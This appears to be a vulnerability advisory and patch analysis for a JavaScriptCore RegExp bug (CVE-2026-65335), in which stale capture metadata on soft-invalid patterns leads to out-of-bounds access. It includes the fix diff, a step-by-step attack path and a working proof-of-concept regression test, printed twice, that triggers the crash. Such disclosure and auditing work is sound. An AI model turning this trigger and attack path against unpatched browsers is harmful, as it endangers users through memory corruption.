CVE-2026-65335
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: OpenAI Codex Security - Amy Burnett
Key insight. RegExp compile paths refreshed only part of the metadata and asserted (compiled out in release) that the subpattern count was unchanged, so a soft-invalid pattern left stale capture metadata against a mismatched bytecode; consistently refreshing metadata and refusing to cache/constant-fold invalid RegExps fixes it.
Patch Details
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+ const keep = depth;
+ if (!depth)
+ return callback() + keep;
+ return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+ regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+ pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+ atDepth(callDepth, () => {
+ try { new RegExp(pattern, ""); } catch (e) { }
+ for (let i = 0; i < iterations && !exposed; ++i) {
+ make(false);
+ if ((i % stride) === stride - 1)
+ try { exposed = make(true); } catch (e) { }
+ }
+ if (!exposed)
+ try { exposed = make(true); } catch (e) { }
+ return 0;
+ });
+} catch (e) { }
+
+if (exposed) {
+ const subject = "a".repeat(113);
+ for (let i = 0; i < 6; ++i) {
+ try { exposed.test(subject); } catch (e) { }
+ }
+}
diff --git a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
index 78ca126c6509..42131b5c5028 100644
--- a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
@@ -716,6 +716,9 @@ private:
if (!regExp)
break;
+ if (!regExp->isValid())
+ break;
+
m_node->convertToNewRegExp(m_graph.freezeStrong(regExp), m_insertionSet.insertConstantForUse(m_nodeIndex, m_node->origin, jsNumber(0), UntypedUse));
m_changed = true;
break;
diff --git a/Source/JavaScriptCore/runtime/RegExp.cpp b/Source/JavaScriptCore/runtime/RegExp.cpp
index 2c636589f41e..5b2553b6d5fd 100644
--- a/Source/JavaScriptCore/runtime/RegExp.cpp
+++ b/Source/JavaScriptCore/runtime/RegExp.cpp
@@ -164,12 +164,18 @@ void RegExp::finishCreation(VM& vm)
return;
}
+ updateMetadataFromPattern(pattern);
+}
+
+void RegExp::updateMetadataFromPattern(Yarr::YarrPattern& pattern)
+{
m_atom = WTF::move(pattern.m_atom);
m_specificPattern = pattern.m_specificPattern;
m_numSubpatterns = pattern.m_numSubpatterns;
if (!pattern.m_captureGroupNames.isEmpty() || !pattern.m_namedGroupToParenIndices.isEmpty()) {
- m_rareData = makeUnique<RareData>();
+ if (!m_rareData)
+ m_rareData = makeUnique<RareData>();
m_rareData->m_numDuplicateNamedCaptureGroups = pattern.m_numDuplicateNamedCaptureGroups;
m_rareData->m_captureGroupNames.swap(pattern.m_captureGroupNames);
m_rareData->m_namedGroupToParenIndices.swap(pattern.m_namedGroupToParenIndices);
@@ -226,10 +232,7 @@ void RegExp::byteCodeCompileIfNecessary(VM* vm)
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
m_regExpBytecode = byteCodeCompilePattern(vm, pattern, m_constructionErrorCode);
if (!m_regExpBytecode) {
@@ -247,10 +250,7 @@ void RegExp::compile(VM* vm, Yarr::CharSize charSize, std::optional<StringView>
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
if (!hasCode()) {
ASSERT(m_state == NotCompiled);
@@ -315,10 +315,7 @@ void RegExp::compileMatchOnly(VM* vm, Yarr::CharSize charSize, std::optional<Str
m_state = ParseError;
return;
}
- ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
- m_atom = WTF::move(pattern.m_atom);
- m_specificPattern = pattern.m_specificPattern;
+ updateMetadataFromPattern(pattern);
if (!hasCode()) {
ASSERT(m_state == NotCompiled);
diff --git a/Source/JavaScriptCore/runtime/RegExp.h b/Source/JavaScriptCore/runtime/RegExp.h
index 328e1290eb6f..ade76d562bc5 100644
--- a/Source/JavaScriptCore/runtime/RegExp.h
+++ b/Source/JavaScriptCore/runtime/RegExp.h
@@ -35,6 +35,10 @@
namespace JSC {
+namespace Yarr {
+struct YarrPattern;
+}
+
struct RegExpRepresentation;
class VM;
@@ -176,6 +180,8 @@ private:
RegExp(VM&, const String&, OptionSet<Yarr::Flags>);
void finishCreation(VM&);
+ void updateMetadataFromPattern(Yarr::YarrPattern&);
+
static RegExp* createWithoutCaching(VM&, const String&, OptionSet<Yarr::Flags>);
enum RegExpState : uint8_t {
diff --git a/Source/JavaScriptCore/runtime/RegExpCache.cpp b/Source/JavaScriptCore/runtime/RegExpCache.cpp
index f7059ad07954..ac9e547c0e91 100644
--- a/Source/JavaScriptCore/runtime/RegExpCache.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpCache.cpp
@@ -57,6 +57,9 @@ RegExp* RegExpCache::lookupOrCreate(VM& vm, const String& patternString, OptionS
vm.addRegExpToTrace(regExp);
#endif
+ if (!regExp->isValid())
+ return regExp;
+
{
Locker locker { m_lock };
weakAdd(m_weakCache, key, Weak<RegExp>(regExp, this));
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-65335 |
| Bugzilla | 316723 |
| Component | JSC |
| Bug Class | OOB |
| Severity | medium |
| Commit | d74d692503fce0f3… |
| Advisory | Apple Advisory |
Terminology
- RegExp capture metadata — m_numSubpatterns and m_rareData record how many capture groups a RegExp has; match results index the capture array by them.
- Soft-invalid RegExp — A pattern YARR fails to compile (e.g. excessive nesting); its cached metadata can become inconsistent with the compiled bytecode.
- DFG NewRegExp constant folding — Strength reduction can bake a RegExp into optimized code; doing so for an invalid RegExp propagates the inconsistency.
Root Cause Analysis
This fixes stale/inconsistent RegExp capture metadata that could be used against a mismatched compiled pattern, and prevents the DFG from baking in an invalid RegExp. A RegExp caches capture metadata (m_numSubpatterns and, in m_rareData, capture-group names and named-group indices). finishCreation set this metadata, but the later compile paths (byteCodeCompileIfNecessary, compile, compileMatchOnly) re-parsed the pattern and only updated m_atom/m_specificPattern — with an ASSERT(m_numSubpatterns == pattern.m_numSubpatterns) that is compiled out in release — WITHOUT refreshing the capture metadata. For a pattern that is ‘soft invalid’ (e.g. too deeply nested so YARR fails), the RegExp can end up with capture metadata inconsistent with the bytecode actually compiled, so match results index captures using stale m_numSubpatterns / m_rareData against a differently-shaped compiled pattern — an out-of-bounds / stale-capture access. Compounding this, DFG strength reduction converted a NewRegExp to a frozen RegExp constant without checking validity, and RegExpCache cached even invalid RegExps. The fix factors updateMetadataFromPattern() and calls it in ALL compile paths so metadata is consistently refreshed from the actually-compiled pattern (guarding m_rareData creation with if (!m_rareData)); adds if (!regExp->isValid()) guards so DFGStrengthReductionPhase does not convert to NewRegExp for an invalid RegExp and RegExpCache::lookupOrCreate does not cache an invalid RegExp (returns it uncached). The restored invariant is that capture metadata always matches the compiled bytecode and invalid RegExps are neither cached nor constant-folded into optimized code. The regression test builds a ~34000-deep nested pattern that soft-fails, then drives the NewRegExp path to expose stale captures.
Attack Path
1. Create a soft-invalid RegExp
Construct a pathologically nested pattern that YARR fails to compile (‘soft invalid’) so its cached capture metadata can diverge from the compiled bytecode.
2. Constant-fold or reuse it
Get the DFG to convert a NewRegExp to a frozen constant, or the RegExpCache to hand back the invalid RegExp.
3. Match with stale captures
Run the RegExp so match construction uses stale m_numSubpatterns / m_rareData against the mismatched compiled pattern.
4. Out-of-bounds captures
The stale capture count/indices drive an out-of-bounds or type-confused capture-array access, crashing the WebContent process.
Impact Assessment
A memory-safety bug in the WebContent process where stale RegExp capture metadata drives out-of-bounds/type-confused capture accesses, reachable from crafted regexes. The advisory rates it a crash; capture-array OOB is a controllable primitive that can be developed further.
Audit Directions
Metadata refresh completeness
Audit RegExp compile/recompile paths to ensure all capture metadata (m_numSubpatterns, m_rareData) is refreshed together, not partially with an ASSERT.
Invalid-object propagation
Grep for isValid() checks (or their absence) wherever a RegExp is cached, frozen, or constant-folded into DFG/FTL code.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
RegExp::updateMetadataFromPattern (+ compile paths) |
Source/JavaScriptCore/runtime/RegExp.cpp |
modified | Factors metadata refresh (m_atom, m_specificPattern, m_numSubpatterns, m_rareData capture names) and calls it in finishCreation, byteCodeCompileIfNecessary, compile and compileMatchOnly so capture metadata always matches the compiled pattern (guarding m_rareData with if (!m_rareData)). |
strengthReduction NewRegExp handling |
Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp |
modified | Skips convertToNewRegExp when !regExp->isValid(), so an invalid RegExp is not frozen into optimized code. |
RegExpCache::lookupOrCreate |
Source/JavaScriptCore/runtime/RegExpCache.cpp |
modified | Returns an invalid RegExp without caching it (if (!regExp->isValid()) return regExp). |
Files Changed
Source Files
Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cppSource/JavaScriptCore/runtime/RegExp.cppSource/JavaScriptCore/runtime/RegExp.hSource/JavaScriptCore/runtime/RegExpCache.cpp
Test Files
JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+ const keep = depth;
+ if (!depth)
+ return callback() + keep;
+ return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+ regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+ pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+ atDepth(callDepth, () => {
+ try { new RegExp(pattern, ""); } catch (e) { }
+ for (let i = 0; i < iterations && !exposed; ++i) {
+ make(false);
+ if ((i % stride) === stride - 1)
+ try { exposed = make(true); } catch (e) { }
+ }
+ if (!exposed)
+ try { exposed = make(true); } catch (e) { }
+ return 0;
+ });
+} catch (e) { }
+
+if (exposed) {
+ const subject = "a".repeat(113);
+ for (let i = 0; i < 6; ++i) {
+ try { exposed.test(subject); } catch (e) { }
+ }
+}